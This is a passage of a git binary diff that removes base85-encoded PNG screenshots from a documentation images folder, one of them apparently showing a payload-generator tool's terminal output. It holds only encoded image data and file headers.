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ÐJ5gKR})ERQgAywJ+8 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 literal 0 HcmV?d00001 diff --git a/docs/assets/images/terminal/payload_gen_stager_dll_loader_win_amd64_exe.png b/docs/assets/images/terminal/payload_gen_stager_dll_loader_win_amd64_exe.png deleted file mode 100644 index 77cfbbeb39146f10d54708b99776063284e9423c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 54094 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 